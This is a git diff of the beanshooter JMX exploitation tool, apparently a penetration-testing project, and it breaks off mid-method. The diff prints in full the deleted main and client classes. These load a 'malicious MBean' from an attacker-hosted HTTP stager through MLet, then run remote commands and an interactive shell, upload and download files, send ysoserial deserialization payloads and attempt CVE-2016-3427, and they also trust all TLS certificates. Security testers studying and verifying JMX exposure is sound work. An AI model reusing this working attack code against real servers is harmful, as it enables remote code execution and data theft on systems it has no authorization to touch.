.../qtc/beanshooter/plugin/JNDIProvider.java | 66 ++ .../qtc/beanshooter/plugin/PluginSystem.java | 183 +++++ .../qtc/beanshooter/plugin/RMIProvider.java | 245 +++++++ .../de/qtc/beanshooter/utils/Constant.java | 24 + .../de/qtc/beanshooter/utils/JarHandler.java | 65 -- .../de/qtc/beanshooter/utils/MLetHandler.java | 76 --- .../qtc/beanshooter/utils/RealmHandler.java | 11 + .../src/de/qtc/beanshooter/utils/Utils.java | 247 +++++++ 36 files changed, 3696 insertions(+), 1365 deletions(-) delete mode 100644 beanshooter/src/de/qtc/beanshooter/Beanshooter.java delete mode 100644 beanshooter/src/de/qtc/beanshooter/GreenGrocer.java create mode 100644 beanshooter/src/de/qtc/beanshooter/Starter.java create mode 100644 beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java create mode 100644 beanshooter/src/de/qtc/beanshooter/cli/Option.java create mode 100644 beanshooter/src/de/qtc/beanshooter/cli/OptionGroup.java create mode 100644 beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java create mode 100644 beanshooter/src/de/qtc/beanshooter/exceptions/MalformedPluginException.java create mode 100644 beanshooter/src/de/qtc/beanshooter/networking/JarHandler.java create mode 100644 beanshooter/src/de/qtc/beanshooter/networking/MLetHandler.java create mode 100644 beanshooter/src/de/qtc/beanshooter/networking/RMIEndpoint.java create mode 100644 beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java create mode 100644 beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java create mode 100644 beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java create mode 100644 beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java create mode 100644 beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java create mode 100644 beanshooter/src/de/qtc/beanshooter/operation/MLetClient.java create mode 100644 beanshooter/src/de/qtc/beanshooter/operation/Operation.java create mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/DefaultSocketFactoryProvider.java create mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/IMBeanServerProvider.java create mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/ISocketFactoryProvider.java create mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/JMXMPProvider.java create mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/JNDIProvider.java create mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java create mode 100644 beanshooter/src/de/qtc/beanshooter/plugin/RMIProvider.java create mode 100644 beanshooter/src/de/qtc/beanshooter/utils/Constant.java delete mode 100644 beanshooter/src/de/qtc/beanshooter/utils/JarHandler.java delete mode 100644 beanshooter/src/de/qtc/beanshooter/utils/MLetHandler.java create mode 100644 beanshooter/src/de/qtc/beanshooter/utils/Utils.java diff --git a/beanshooter/config.properties b/beanshooter/config.properties index c909b04..fa3fca4 100644 --- a/beanshooter/config.properties +++ b/beanshooter/config.properties @@ -4,6 +4,9 @@ stagerHost=127.0.0.1 username= password= +deploy_bean_class=de.qtc.tonkabean.TonkaBean +deploy_bean_name=MLetTonkaBean:name=TonkaBean,id=1 +deploy_jar_file=tonka-bean-3.0.0-jar-with-dependencies.jar boundName=jmxrmi jarPath=/opt/beanshooter/tonka-bean/target/ diff --git a/beanshooter/pom.xml b/beanshooter/pom.xml index cada74b..0497ee1 100644 --- a/beanshooter/pom.xml +++ b/beanshooter/pom.xml @@ -20,12 +20,6 @@ - - commons-cli - commons-cli - 1.4 - - net.sourceforge.argparse4j argparse4j diff --git a/beanshooter/src/de/qtc/beanshooter/Beanshooter.java b/beanshooter/src/de/qtc/beanshooter/Beanshooter.java deleted file mode 100644 index 0bef77d..0000000 --- a/beanshooter/src/de/qtc/beanshooter/Beanshooter.java +++ /dev/null @@ -1,468 +0,0 @@ -package de.qtc.beanshooter; - -import java.io.File; -import java.io.FileInputStream; -import java.io.IOException; -import java.io.InputStream; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLClassLoader; -import java.util.List; -import java.util.Properties; -import java.util.Scanner; - -import javax.management.MalformedObjectNameException; - -import org.apache.commons.cli.CommandLine; -import org.apache.commons.cli.CommandLineParser; -import org.apache.commons.cli.DefaultParser; -import org.apache.commons.cli.HelpFormatter; -import org.apache.commons.cli.Option; -import org.apache.commons.cli.Options; -import org.apache.commons.cli.ParseException; - -import de.qtc.beanshooter.io.Logger; -import de.qtc.beanshooter.utils.RealmHandler; - - -public class Beanshooter { - - private static String defaultConfiguration = "/config.properties"; - - public static void main(String[] argv) { - - Options options = new Options(); - - Option stagerHost = new Option(null, "stager-host", true, "IP address of the .jar providing host"); - stagerHost.setRequired(false); - options.addOption(stagerHost); - - Option stagerPort = new Option(null, "stager-port", true, "HTTP port of the .jar providing host"); - stagerPort.setRequired(false); - options.addOption(stagerPort); - - Option stagerOnly = new Option(null, "stager-only", false, "Only start a HTTP payload server"); - stagerOnly.setRequired(false); - options.addOption(stagerOnly); - - Option remoteStager = new Option(null, "remote-stager", false, "do not create a local HTTP listener"); - remoteStager.setRequired(false); - options.addOption(remoteStager); - - Option bindAddress = new Option(null, "bind-address", true, "IP address to bind the stager server"); - bindAddress.setRequired(false); - options.addOption(bindAddress); - - Option bindPort = new Option(null, "bind-port", true, "port of the stager server"); - bindPort.setRequired(false); - options.addOption(bindPort); - - Option jmxmp = new Option(null, "jmxmp", false, "use the JMXMP protocol instead of Java RMI"); - jmxmp.setRequired(false); - options.addOption(jmxmp); - - Option ysoserial = new Option(null, "yso", true, "location of the ysoserial.jar file"); - ysoserial.setRequired(false); - options.addOption(ysoserial); - - Option configOption = new Option(null, "config", true, "path to a configuration file"); - configOption.setRequired(false); - options.addOption(configOption); - - Option boundName = new Option(null, "bound-name", true, "bound name of the jmx-rmi endpoint"); - boundName.setRequired(false); - options.addOption(boundName); - - Option username = new Option(null, "username", true, "username for JMX authentication"); - username.setRequired(false); - options.addOption(username); - - Option password = new Option(null, "password", true, "password for JMX authentication"); - password.setRequired(false); - options.addOption(password); - - Option ssl = new Option(null, "ssl", false, "use ssl for the RMI registry connection"); - ssl.setRequired(false); - options.addOption(ssl); - - Option noColor = new Option(null, "no-color", false, "disable colored output"); - noColor.setRequired(false); - options.addOption(noColor); - - Option follow = new Option(null, "follow", false, "follow redirections to other targets"); - follow.setRequired(false); - options.addOption(follow); - - Option sasl = new Option(null, "sasl", true, "SASL authentication mechanism for JMXMP"); - sasl.setRequired(false); - options.addOption(sasl); - - Option help = new Option(null, "help", false, "display help"); - help.setRequired(false); - options.addOption(help); - - CommandLineParser parser = new DefaultParser(); - HelpFormatter formatter = new HelpFormatter(); - CommandLine commandLine = null; - - String helpString = "beanshooter [options] \n" - +"Proof of concept tool to verify vulnerabilities in JMX installations.\n\n" - +"Positional Arguments:\n" - +" ip: IP address of your target\n" - +" port: Port where JMX agent is listening\n" - +" action: One of the possible actions listed below\n\n" - +"Possible Actions:\n" - +" ping Check if MBean is working\n" - +" status Check if MLet or MBean are already deployed\n" - +" deployAll Deploy MLet and MBean\n" - +" deployMLet Only deploy MLet\n" - +" deployMBean Only deploy MBean\n" - +" undeployAll Undeploy MLet and MBean\n" - +" undeployMLet Only undeploy MLet\n" - +" undeployMBean Only undeploy MBean\n" - +" shell Continuously prompt for new commands\n" - +" execute Execute specified command\n" - +" executeBackground Execute command in the background\n" - +" upload Upload a local file to the server\n" - +" download Download a file form the server\n" - +" ysoserial Pass ysoserial payload to getLoggerLevel\n" - +" cve-2016-3427 Attempt cve-2016-3427\n\n" - - +"Optional Arguments:"; - - try { - commandLine = parser.parse(options, argv); - } catch (ParseException e) { - Logger.printlnPlain_ye("Error: " + e.getMessage() + "\n"); - formatter.printHelp(helpString, options); - System.exit(1); - } - - if( commandLine.hasOption("help") ) { - formatter.printHelp(helpString, options); - System.exit(0); - } - - /* The default configuration values are loaded from the default configuration file inside the .jar */ - Properties config = new Properties(); - Beanshooter.loadConfig(defaultConfiguration, config, false); - - /* If an additional configuration file is specified on the command line, we overwrite specified properties */ - String additionalConfig = commandLine.getOptionValue("config", null); - if( additionalConfig != null ) - Beanshooter.loadConfig(additionalConfig, config, true); - - boolean useSsl = commandLine.hasOption("ssl"); - boolean jmxmpValue = commandLine.hasOption("jmxmp"); - boolean followRedirect = commandLine.hasOption("follow"); - boolean stagerOnlyValue = commandLine.hasOption("stager-only"); - boolean remoteStagerValue = commandLine.hasOption("remote-stager"); - boolean noColorValue = commandLine.hasOption("no-color"); - - String saslValue = commandLine.getOptionValue("sasl", null); - String ysoValue = commandLine.getOptionValue("yso", config.getProperty("ysoserial")); - String userNameValue = commandLine.getOptionValue("username", config.getProperty("username")); - String passwordValue = commandLine.getOptionValue("password", config.getProperty("password")); - String boundNameValue = commandLine.getOptionValue("bound-name", config.getProperty("boundName")); - String stagerPortValue = commandLine.getOptionValue("stager-port", config.getProperty("stagerPort")); - String stagerHostValue = commandLine.getOptionValue("stager-host", config.getProperty("stagerHost")); - String bindAddressValue = commandLine.getOptionValue("bind-address", config.getProperty("bindAddress")); - String bindPortValue = commandLine.getOptionValue("bind-port", config.getProperty("bind-port")); - - String jarPath = config.getProperty("jarPath"); - String jarName = config.getProperty("jarName"); - String beanClass = config.getProperty("beanClass"); - String objectName = config.getProperty("objectName"); - String mLetNameString = config.getProperty("mLetName"); - - if( bindPortValue == null ) - bindPortValue = stagerPortValue; - if( bindAddressValue == null ) - bindAddressValue = stagerHostValue; - if( noColorValue ) - Logger.disableColor(); - - GreenGrocer gg = null; - try { - gg = new GreenGrocer(jarPath, jarName, beanClass, objectName, mLetNameString); - } catch( MalformedObjectNameException e ) { - Logger.eprintln_ye("Object name '" + objectName + "' seems to be invalid."); - System.exit(1); - } - - if( stagerOnlyValue ) { - gg.startStagerServer(bindAddressValue, bindPortValue, stagerHostValue, stagerPortValue, true); - Scanner dummyScanner = new Scanner(System.in); - Logger.print_bl("Press Enter to stop listening..."); - dummyScanner.nextLine(); - dummyScanner.close(); - System.exit(0); - } - - /* At this point and should be present on the command line */ - List remainingArgs = commandLine.getArgList(); - if( remainingArgs.size() < 3 ) { - Logger.eprintlnPlain_ye("Error: Insufficient number of arguments.\n"); - formatter.printHelp(helpString, options); - System.exit(1); - } - - String remoteHost = remainingArgs.get(0); - String remotePort = remainingArgs.get(1); - String action = remainingArgs.get(2); - - int argCount = remainingArgs.size(); - String gadget = ""; - String command = "id"; - String srcFile = null; - String destFile = null; - Object ysoPayload = null; - - switch(action) { - - case "execute": - case "executeBackground": - if( argCount > 3 ) { - command = remainingArgs.get(3); - } - break; - - case "ysoserial": - case "cve-2016-3427": - if( argCount < 5 ) { - Logger.eprintlnPlain_ye("Error: Insufficient number of arguments.\n"); - formatter.printHelp(helpString, options); - System.exit(1); - } - - gadget = remainingArgs.get(3); - command = remainingArgs.get(4); - ysoPayload = getPayloadObject(ysoValue, gadget, command); - break; - - case "download": - if( argCount < 4 ) { - Logger.eprintlnPlain_ye("Error: Insufficient number of arguments.\n"); - formatter.printHelp(helpString, options); - System.exit(1); - } - - srcFile = remainingArgs.get(3); - if( argCount > 4 ) - destFile = remainingArgs.get(4); - break; - - case "upload": - if( argCount < 5 ) { - Logger.eprintlnPlain_ye("Error: Insufficient number of arguments.\n"); - formatter.printHelp(helpString, options); - System.exit(1); - } - - srcFile = remainingArgs.get(3); - destFile = remainingArgs.get(4); - } - - int remotePortNumeric = 1090; - try { - remotePortNumeric = Integer.valueOf(remotePort); - } catch( Exception e ) { - Logger.eprintlnPlain_ye("Error - Remote port has to be a numeric value.\n"); - formatter.printHelp(helpString, options); - System.exit(1); - } - - String saslMechanism = null; - if( saslValue != null ) { - saslMechanism = getSaslMechanism(saslValue, useSsl); - if( saslMechanism == null ) { - showSaslHelp(saslValue); - System.exit(1); - } - } - - Object credentials = null; - if( (userNameValue != null || passwordValue != null) && (!userNameValue.isEmpty() || !passwordValue.isEmpty()) ) { - credentials = new String[] {userNameValue, passwordValue}; - RealmHandler.username = userNameValue; - RealmHandler.password = passwordValue; - } - - if( action.equals("cve-2016-3427") ) { - - if( jmxmpValue ) { - Logger.eprintln_ye("Action 'cve-2016-3427' is incompatible with '--jmxmp' option."); - System.exit(1); - } - - Logger.println_bl("cve-2016-3427 - Sending serialized Object as credential."); - Logger.increaseIndent(); - Logger.println_bl("An SecurityException during the connection attempt is expected."); - Logger.decreaseIndent(); - credentials = ysoPayload; - } - - gg.connect(remoteHost, remotePortNumeric, boundNameValue, credentials, jmxmpValue, useSsl, followRedirect, saslMechanism); - - switch( action ) { - case "status": - gg.jmxStatus(); - break; - case "deployAll": - gg.registerMLet(); - Logger.println(""); - gg.registerBean(bindAddressValue, bindPortValue, stagerHostValue, stagerPortValue, remoteStagerValue); - break; - case "deployMLet": - gg.registerMLet(); - break; - case "deployMBean": - gg.registerBean(bindAddressValue, bindPortValue, stagerHostValue, stagerPortValue, remoteStagerValue); - break; - case "undeployAll": - gg.unregisterBean(); - gg.unregisterMLet(); - break; - case "undeployMBean": - gg.unregisterBean(); - break; - case "undeployMLet": - gg.unregisterMLet(); - break; - case "ping": - gg.ping(); - break; - case "shell": - gg.startShell(); - break; - case "execute": - gg.executeCommand(command, true); - break; - case "executeBackground": - gg.executeCommandBackground(command, true); - break; - case "upload": - gg.uploadFile(srcFile, destFile); - break; - case "download": - gg.downloadFile(srcFile, destFile); - break; - case "ysoserial": - gg.getLoggerLevel(ysoPayload); - break; - case "cve-2016-3427": - Logger.println_bl("Encountered no Exception during cve-2016-3427 attempt."); - Logger.increaseIndent(); - Logger.println_bl("Does the target require authentication?"); - Logger.println_bl("If vulnerable, the payload works anyway."); - break; - default: - Logger.eprint("Unkown action: "); - Logger.eprintlnPlain_ye(action); - break; - } - gg.disconnect(); - } - - private static void loadConfig(String filename, Properties prop, boolean extern) - { - InputStream configStream = null; - try { - if( extern ) { - configStream = new FileInputStream(filename); - } else { - configStream = Beanshooter.class.getResourceAsStream(filename); - } - - prop.load(configStream); - configStream.close(); - - } catch( IOException e ) { - Logger.println_ye("Unable to load properties file '" + filename + "'"); - System.exit(1); - } - } - - private static String getSaslMechanism(String choice, boolean tls) - { - String mechanism; - - switch(choice) { - case "CRAM-MD5": - mechanism = tls ? "TLS SASL/CRAM-MD5" : "SASL/CRAM-MD5"; - break; - case "DIGEST-MD5": - mechanism = tls ? "TLS SASL/DIGEST-MD5" : "SASL/DIGEST-MD5"; - break; - case "GSSAPI": - mechanism = tls ? "TLS SASL/GSSAPI" : "SASL/GSSAPI"; - break; - case "PLAIN": - mechanism = tls ? "TLS SASL/PLAIN" : "SASL/PLAIN"; - break; - case "NTLM": - mechanism = tls ? "TLS SASL/NTLM" : "SASL/NTLM"; - break; - default: - mechanism = null; - break; - } - - return mechanism; - } - - private static void showSaslHelp(String saslMethod) - { - Logger.eprintln_ye("Specified SASL mechanism '" + saslMethod + "' is invalid."); - Logger.println_bl("Possible values are:"); - Logger.increaseIndent(); - Logger.println_bl("* NTLM"); - Logger.println_bl("* PLAIN"); - Logger.println_bl("* GSSAPI"); - Logger.println_bl("* CRAM-MD5"); - Logger.println_bl("* DIGEST-MD5"); - Logger.decreaseIndent(); - } - - private static Object getPayloadObject(String ysoPath, String gadget, String command) { - - Object ysoPayload = null; - File ysoJar = new File(ysoPath); - - if( !ysoJar.exists() ) { - Logger.println_ye("Error: '" + ysoJar.getAbsolutePath() + "' does not exist."); - System.exit(1); - } - - Logger.print("Creating ysoserial payload..."); - - try { - URLClassLoader ucl = new URLClassLoader(new URL[] {ysoJar.toURI().toURL()}); - - Class yso = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ucl); - Method method = yso.getDeclaredMethod("makePayloadObject", new Class[] {String.class, String.class}); - - ysoPayload = method.invoke(null, new Object[] {gadget, command}); - - } catch (MalformedURLException | ClassNotFoundException | NoSuchMethodException | SecurityException | - IllegalAccessException | IllegalArgumentException | InvocationTargetException e) { - - Throwable ex = e; - if( e instanceof InvocationTargetException ) - ex = e.getCause(); - - Logger.eprint("Error: Unable to create ysoserial gadget "); - Logger.eprintlnPlain_ye(gadget); - Logger.eprint("Error message is: "); - Logger.eprintlnPlain_ye(ex.getMessage()); - Logger.eprintln("StackTrace:"); - ex.printStackTrace(); - System.exit(1); - } - - Logger.printlnPlain("done."); - return ysoPayload; - } -} diff --git a/beanshooter/src/de/qtc/beanshooter/GreenGrocer.java b/beanshooter/src/de/qtc/beanshooter/GreenGrocer.java deleted file mode 100644 index db6f00e..0000000 --- a/beanshooter/src/de/qtc/beanshooter/GreenGrocer.java +++ /dev/null @@ -1,642 +0,0 @@ -package de.qtc.beanshooter; - -import java.io.IOException; -import java.io.Console; -import java.io.File; -import java.io.FileOutputStream; -import java.net.InetSocketAddress; -import java.nio.file.Files; -import java.rmi.server.RMISocketFactory; -import java.util.HashMap; -import java.util.regex.Pattern; - -import javax.management.InstanceNotFoundException; -import javax.management.MBeanException; -import javax.management.MBeanServerConnection; -import javax.management.MalformedObjectNameException; -import javax.management.ObjectName; -import javax.management.ReflectionException; -import javax.management.RuntimeMBeanException; -import javax.management.remote.JMXConnector; -import javax.management.remote.JMXConnectorFactory; -import javax.management.remote.JMXServiceURL; -import javax.net.ssl.SSLContext; -import javax.net.ssl.TrustManager; -import javax.rmi.ssl.SslRMIClientSocketFactory; - -import com.sun.net.httpserver.HttpServer; - -import de.qtc.beanshooter.io.Logger; -import de.qtc.beanshooter.networking.DummyTrustManager; -import de.qtc.beanshooter.networking.LoopbackSocketFactory; -import de.qtc.beanshooter.networking.LoopbackSslSocketFactory; -import de.qtc.beanshooter.utils.JarHandler; -import de.qtc.beanshooter.utils.MLetHandler; -import de.qtc.beanshooter.utils.RealmHandler; - - -public class GreenGrocer { - - String jarPath = null; - String jarName = null; - String beanClass = null; - String objectName = null; - ObjectName beanName = null; - ObjectName mLetName = null; - JMXConnector jmxConnector = null; - MBeanServerConnection mBeanServer = null; - - public GreenGrocer(String jarPath, String jarName, String beanClass, String objectName, String mLetNameString) throws MalformedObjectNameException - { - this.jarPath = jarPath; - this.jarName = jarName; - this.beanClass = beanClass; - this.objectName = objectName; - - this.mLetName = new ObjectName(mLetNameString); - this.beanName = new ObjectName(this.objectName); - } - - @SuppressWarnings({ "rawtypes", "unchecked" }) - public void connect(String host, int port, String boundName, Object credentials, boolean jmxmp, boolean ssl, boolean followRedirect, String saslMechanism) - { - try { - HashMap environment = new HashMap(); - - if( credentials != null ) - environment.put(JMXConnector.CREDENTIALS, credentials); - - JMXServiceURL jmxUrl = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/" + boundName); - if( jmxmp ) { - jmxUrl = new JMXServiceURL("service:jmx:jmxmp://" + host + ":" + port); - if(saslMechanism != null) { - environment.put("jmx.remote.profiles", saslMechanism); - if( saslMechanism.contains("DIGEST") || saslMechanism.contains("NTLM") ) { - environment.put("jmx.remote.sasl.callback.handler", new RealmHandler()); - } - } - } - - RMISocketFactory fac = RMISocketFactory.getDefaultSocketFactory(); - RMISocketFactory my = new LoopbackSocketFactory(host, fac, followRedirect); - RMISocketFactory.setSocketFactory(my); - - SSLContext ctx = SSLContext.getInstance("TLS"); - ctx.init(null, new TrustManager[] { new DummyTrustManager() }, null); - SSLContext.setDefault(ctx); - - LoopbackSslSocketFactory.host = host; - LoopbackSslSocketFactory.fac = ctx.getSocketFactory(); - LoopbackSslSocketFactory.followRedirect = followRedirect; - java.security.Security.setProperty("ssl.SocketFactory.provider", "de.qtc.beanshooter.networking.LoopbackSslSocketFactory"); - - if( ssl ) { - environment.put("com.sun.jndi.rmi.factory.socket", new SslRMIClientSocketFactory()); - if( jmxmp ) { - environment.put("jmx.remote.tls.socket.factory", ctx.getSocketFactory()); - if(saslMechanism == null) { - environment.put("jmx.remote.profiles", "TLS"); - } - } - } - - Logger.println("Connecting to JMX server... "); - jmxConnector = JMXConnectorFactory.connect(jmxUrl, environment); - - Logger.println("Creating MBeanServerConnection... "); - this.mBeanServer = jmxConnector.getMBeanServerConnection(); - - } catch( Exception e ) { - - if( e instanceof SecurityException && e.getMessage().contains("Credentials should be String[]") ) { - Logger.println(""); - Logger.print("Caught "); - Logger.printPlain_ye("SecurityException"); - Logger.printPlain(" with content "); - Logger.printlnPlain_ye(e.getMessage()); - Logger.increaseIndent(); - Logger.println_ye("Target is most likely vulnerable to cve-2016-3427."); - System.exit(0); - } - - Logger.eprint("The following exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - System.exit(1); - } - } - - public void disconnect() - { - try { - jmxConnector.close(); - } catch( Exception e ) { - Logger.eprintln("Encountered an error while closing the JMX connection..."); - Logger.eprint("The following exception was thrown: "); - Logger.eprintlnPlain_ye(e.toString()); - System.exit(1); - } - } - - public void registerMLet() - { - try { - /* First we try to register the MLet for JMX MBean deployment */ - Logger.print_ye("Creating MBean 'MLet' for remote deploymet... "); - this.mBeanServer.createMBean("javax.management.loading.MLet", null); - Logger.printlnPlain_ye("done!"); - - } catch (javax.management.InstanceAlreadyExistsException e) { - /* MLet is may already registered. In this case we are done. */ - Logger.printlnPlain_ye("done!"); - Logger.increaseIndent(); - Logger.println("MBean 'MLet' did already exist on the server."); - Logger.decreaseIndent(); - - } catch( Exception e ) { - /* Otherwise MLet registration fails and we can stop execution. */ - Logger.eprintlnPlain_ye("failed!"); - Logger.eprint("The following exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - this.disconnect(); - System.exit(1); - } - } - - public void unregisterMLet() - { - try { - /* Trying to unregister the MLet from the JMX endpoint */ - Logger.print_ye("Unregister MBean 'MLet'... "); - this.mBeanServer.unregisterMBean(mLetName); - Logger.printlnPlain_ye("done!"); - - } catch (javax.management.InstanceNotFoundException e) { - /* If no MLet instance was found, we are done. */ - Logger.printlnPlain_ye("done!"); - Logger.increaseIndent(); - Logger.println("MBean 'MLet' did not exist on the JMX server."); - Logger.decreaseIndent(); - - } catch( Exception e ) { - /* Otherwise an unexpected exception occurred and we have to stop. */ - Logger.eprintlnPlain_ye("failed!"); - Logger.eprint("The following exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - this.disconnect(); - System.exit(1); - } - } - - public void jmxStatus() - { - try { - - /* First we check whether the MLet is registered on the JMX endpoint */ - Logger.print("Getting Status of MLet... "); - Logger.increaseIndent(); - - if( this.mBeanServer.isRegistered(mLetName) ) { - Logger.printlnPlain("done!"); - Logger.println_ye("MLet is registered on the JMX server."); - - } else { - Logger.printlnPlain("done!"); - Logger.println_ye("MLet is not registered on the JMX server."); - } - - /* Then we check whether the malicious Bean is registered on the JMX endpoint */ - Logger.decreaseIndent(); - Logger.print("Getting Status of malicious Bean... "); - Logger.increaseIndent(); - - if( this.mBeanServer.isRegistered(this.beanName) ) { - Logger.printlnPlain("done!"); - Logger.println_ye("Malicious MBean is registered on the JMX server."); - - } else { - Logger.printlnPlain("done!"); - Logger.println_ye("Malicious MBean is not registered on the JMX server."); - } - - Logger.decreaseIndent(); - - } catch( Exception e ) { - /* During the checks no exception is expected. So we exit if we encounter one */ - Logger.eprintln("failed!"); - Logger.eprint("The following exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - this.disconnect(); - System.exit(1); - } - } - - public void registerBean(String bindAddress, String bindPort, String stagerHost, String stagerPort, boolean remoteStager) - { - try { - /* If the malicious Bean is already registered, we are done */ - if( this.mBeanServer.isRegistered(this.beanName) ) { - Logger.println_ye("Malicious MBean seems already be registered."); - return; - - /* Otherwise we have to create it */ - } else { - try { - /* The server may already knows the codebase and registration is done right here */ - mBeanServer.createMBean(this.beanClass, this.beanName); - Logger.println("Malicious MBean is not registered, but known by the server."); - Logger.println("Instance created!"); - return; - - } catch( Exception e ) { - /* More likely is, that we have to deploy the Bean over our HTTP listener */ - Logger.println("Malicious MBean seems not to be registered on the server."); - Logger.println("Starting registration process:"); - Logger.increaseIndent(); - } - } - - /* The stager server might run on a different machine, in this case we can skip server creation */ - HttpServer payloadServer = null; - if( ! remoteStager ) - payloadServer = this.startStagerServer(bindAddress, bindPort, stagerHost, stagerPort); - - /* In any case we need to invoke getMBeansFromURL to deploy our malicious bean */ - Object res = this.mBeanServer.invoke(this.mLetName, "getMBeansFromURL", - new Object[] { String.format("http://%s:%s/mlet", stagerHost, stagerPort) }, - new String[] { String.class.getName() } - ); - - /* If we did not started the server we can stop it here */ - if( ! remoteStager ) { - payloadServer.stop(0); - } - - Logger.decreaseIndent(); - - /* At this stage the bean should have bean registered on the server */ - if( mBeanServer.isRegistered(this.beanName) ) { - Logger.println("Malicious MBean was successfully registered."); - - /* Otherwise something unexpected has happened */ - } else { - Logger.eprintln("Malicious MBean does still not exist on the server."); - Logger.increaseIndent(); - Logger.eprintln("Registration process failed."); - Logger.eprint("The following object was returned:"); - Logger.eprintlnPlain_ye(res.toString()); - this.disconnect(); - System.exit(1); - } - - } catch( Exception e ) { - Logger.eprintln("Error while registering malicious Bean."); - Logger.eprint("The following exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - this.disconnect(); - System.exit(1); - } - } - - public void unregisterBean() - { - /* Just try to unregister the bean, even if it is not registered */ - try { - Logger.print_ye("Unregister malicious MBean... "); - this.mBeanServer.unregisterMBean(this.beanName); - Logger.printlnPlain_ye("done!"); - - /* If no instance for we bean was found, we are also done */ - } catch (javax.management.InstanceNotFoundException e) { - Logger.printlnPlain_ye("done!"); - Logger.increaseIndent(); - Logger.println("Malicious Bean did not exist on the JMX server."); - Logger.decreaseIndent(); - - } catch( Exception e ) { - Logger.eprintlnPlain_ye("failed!"); - Logger.eprint("The following exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - this.disconnect(); - System.exit(1); - } - } - - public Object invoke(String command, Object[] params, String[] signature) throws MBeanException, ReflectionException, IOException - { - try { - Object response = this.mBeanServer.invoke(this.beanName, command, params, signature); - return response; - - } catch( InstanceNotFoundException e ) { - Logger.eprint("MBean "); - Logger.eprintPlain_ye(e.getMessage()); - Logger.eprintlnPlain(" not found on the server."); - Logger.increaseIndent(); - Logger.eprintln("Did you forget to deploy?"); - - this.disconnect(); - System.exit(1); - return null; - } - } - - public void ping() - { - Logger.print("Sending "); - Logger.printPlain_bl("ping"); - Logger.printlnPlain(" to the server..."); - - try { - String response = (String)invoke("ping", null, null); - Logger.print("Servers answer is: "); - Logger.printlnPlain_ye(response); - - } catch( Exception e ) { - Logger.eprint("The following remote exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - } - } - - public String executeCommand(String command, boolean verbose) - { - if(verbose) { - Logger.print("Sending command '"); - Logger.printPlain_bl(command); - Logger.printlnPlain("' to the server..."); - } - - try { - String response = (String)invoke("executeCommand", new Object[]{ command }, new String[]{ String.class.getName() }); - - if(verbose) { - Logger.print("Servers answer is: "); - Logger.printPlain_ye(response); - } - - return response; - - } catch( Exception e ) { - Logger.eprint("The following remote exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - return ""; - } - } - - public void executeCommandBackground(String command, boolean verbose) - { - if(verbose) { - Logger.print("Sending command '"); - Logger.printPlain_bl(command); - Logger.printlnPlain("' to the server..."); - } - - try { - invoke("executeCommandBackground", new Object[]{ command }, new String[]{ String.class.getName() }); - } catch( Exception e ) { - Logger.eprint("The following remote exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - } - } - - public void uploadFile(String source, String destination) - { - try { - File file = new File(source); - byte[] content = Files.readAllBytes(file.toPath()); - - Object[] arguments = new Object[]{destination, content}; - String[] types = new String[]{String.class.getName(), byte[].class.getName() }; - - String response = (String)invoke("uploadFile", arguments, types); - - Logger.print("File upload finished."); - Logger.printPlain_ye(" " + content.length + " "); - Logger.printPlain("bytes were written to "); - Logger.printlnPlain_ye(response); - - } catch( IOException e ) { - Logger.eprint("Unable to read "); - Logger.eprintlnPlain_ye(source); - Logger.eprint("The following exception was thrown: "); - Logger.eprintlnPlain_ye(e.toString()); - } catch( Exception e ) { - Logger.eprint("The following remote exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - } - } - - public void downloadFile(String source, String destination) - { - try { - if( destination == null ) - destination = "."; - - File sourceFile = new File(source); - File destinationFile = new File(destination); - if( destinationFile.isDirectory() ) { - destinationFile = new File(destinationFile.getCanonicalPath(), sourceFile.getName()); - } - - FileOutputStream stream = new FileOutputStream(destinationFile); - - Object[] arguments = new Object[]{source}; - String[] types = new String[]{String.class.getName()}; - - byte[] response = (byte[])invoke("downloadFile", arguments, types); - stream.write(response); - stream.close(); - - Logger.print("File download finished."); - Logger.printPlain_ye(" " + response.length + " "); - Logger.printPlain("bytes were written to "); - Logger.printlnPlain_ye(destinationFile.getCanonicalPath()); - - } catch( IOException e ) { - Logger.eprint("Unable to open "); - Logger.eprintlnPlain_ye(destination); - Logger.eprint("The following exception was thrown: "); - Logger.eprintlnPlain_ye(e.toString()); - } catch( Exception e ) { - Logger.eprint("The following remote exception was thrown: "); - Logger.eprintlnPlain_ye(e.getMessage()); - } - } - - public void startShell() - { - String command = ""; - String response = ""; - String[] splitResult = null; - Console console = System.console(); - - Logger.println("Starting interactive shell...\n"); - - while( true ) { - System.out.print("$ "); - command = console.readLine(); - - if( command == null || command.equals("exit") || command.equals("Exit") ) - break; - - else if( command.startsWith("!background ")) { - splitResult = command.split(" ", 2); - System.out.println("Executing command in the background..."); - executeCommandBackground(splitResult[1], false); - } - - else if( command.startsWith("!download ")) { - splitResult = splitSpaces(command); - - if( splitResult == null ) { - continue; - - } else if( splitResult.length == 2 ) { - downloadFile(splitResult[1], null); - - } else { - splitResult[2] = splitResult[2].replaceFirst("^~", System.getProperty("user.home")); - downloadFile(splitResult[1], splitResult[2]); - } - } - - else if( 